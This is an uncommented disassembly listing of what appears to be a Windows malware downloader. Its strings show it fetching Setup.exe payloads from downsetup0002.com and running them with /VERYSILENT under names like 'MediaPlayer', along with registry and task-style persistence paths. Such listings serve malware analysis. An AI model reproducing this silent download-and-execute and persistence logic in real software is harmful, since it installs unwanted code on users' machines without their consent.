lea ecx, [ebp - 0x180]
call fcn.0040b240
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x3b
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 4
call fcn.004014b0
mov edx, dword [ebp - 0x198]
lea ecx, [ebp - 0x180]
push str.MicrosoftWindows_stgshadd
lea edx, [edx + 0xb4]
call fcn.0040c750
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x3c
call fcn.0040b0d0
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 4
call fcn.004014b0
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_nmx_1.00
lea ecx, [ebp - 0x180]
call fcn.0040b240
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x3d
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040b0d0
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 4
call fcn.004014b0
push str.Proxyfilter
lea ecx, [ebp - 0x180]
call fcn.0040b240
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x184], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x38]
mov dword [ebp - 0x190], esp
mov ecx, esp
push eax
call fcn.0040b140
sub esp, 0xc
mov byte [ebp - 4], 0x40
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x18c], esp
mov ecx, esp
push eax
call fcn.0040b140
sub esp, 0xc
mov byte [ebp - 4], 0x41
lea eax, [ebp - 0x20]
mov dword [ebp - 0x188], esp
mov ecx, esp
push eax
call fcn.0040b140
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x42
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 0x3e
mov ecx, dword [eax]
call fcn.00417440
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 4
call fcn.004014b0
lea ecx, [ebp - 0x20]
call fcn.0040b0b0
push str.SOFTWARE75DAEFD1_4CF9_4BD9_995F_ACDF9E14C08E
lea ecx, [ebp - 0x180]
call fcn.0040b240
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x43
push eax
lea ecx, [ebp - 0x20]
call fcn.0040b0d0
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 4
call fcn.004014b0
push 0x90
call fcn.00419c80
mov esi, eax
mov dword [ebp - 0x184], esi
mov ecx, esi
mov byte [ebp - 4], 0x44
call fcn.00406c10
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x190], esp
push str.Setup.exe
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x45
mov ecx, esp
mov dword [ebp - 0x18c], esp
push str.http:__downsetup0002.com_api_f59ebee8e852e4e15a0aaefdeb3ecf87_Setup.exe
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x46
mov ecx, esp
mov dword [ebp - 0x188], esp
push str._VERYSILENT
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x47
mov ecx, esp
push str.MediaPlayer
call fcn.0040b240
mov ecx, esi
mov byte [ebp - 4], 0x44
call fcn.00416bb0
push str.MediaPlayer
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 4
mov esi, eax
call fcn.0040b240
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x48
push eax
mov ecx, edi
call fcn.0040afc0
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 4
mov dword [eax], esi
call fcn.004014b0
push 0x90
call fcn.00419c80
mov esi, eax
mov dword [ebp - 0x184], esi
mov ecx, esi
mov byte [ebp - 4], 0x49
call fcn.00406c10
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x190], esp
push str.Setup.exe
call fcn.0040b240
mov byte [ebp - 4], 0x4a
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x18c], esp
push str.http:__downsetup0002.com_api_dfc5644d336a46a710c46d07b94d917c_Setup.exe
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x4b
mov ecx, esp
mov dword [ebp - 0x188], esp
push str._VERYSILENT
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 0x4c
mov ecx, esp
push str.MediaPlayerEU
call fcn.0040b240
mov ecx, esi
mov byte [ebp - 4], 0x49
call fcn.00416bb0
push str.MediaPlayerEU
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 4
mov esi, eax
call fcn.0040b240
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x4d
push eax
mov ecx, edi
call fcn.0040afc0
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 4
mov dword [eax], esi
call fcn.004014b0
push str.MediaPlayer
lea ecx, [ebp - 0x180]
call fcn.0040b240
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x184], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x190], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x18c], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov byte [ebp - 4], 0x51
lea eax, [ebp - 0x20]
mov dword [ebp - 0x188], esp
mov ecx, esp
push eax
call fcn.0040b140
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x52
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 0x4e
mov ecx, dword [eax]
call fcn.00417440
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 4
call fcn.004014b0
push str.MediaPlayerEU
lea ecx, [ebp - 0x180]
call fcn.0040b240
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x184], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x190], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x18c], esp
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
sub esp, 0xc
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x20]
mov dword [ebp - 0x188], esp
mov ecx, esp
push eax
call fcn.0040b140
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 0x57
push eax
mov ecx, edi
call fcn.0040afc0
mov byte [ebp - 4], 0x53
mov ecx, dword [eax]
call fcn.00417440
lea ecx, [ebp - 0x180]
call fcn.004014b0
lea ecx, [ebp - 0x44]
call fcn.0040b540
lea ecx, [ebp - 0x50]
call fcn.0040b540
lea ecx, [ebp - 0x38]
call fcn.0040b540
lea ecx, [ebp - 0x20]
call fcn.0040b540
lea ecx, [ebp - 0x2c]
call fcn.0040b540
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00419c6a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
int3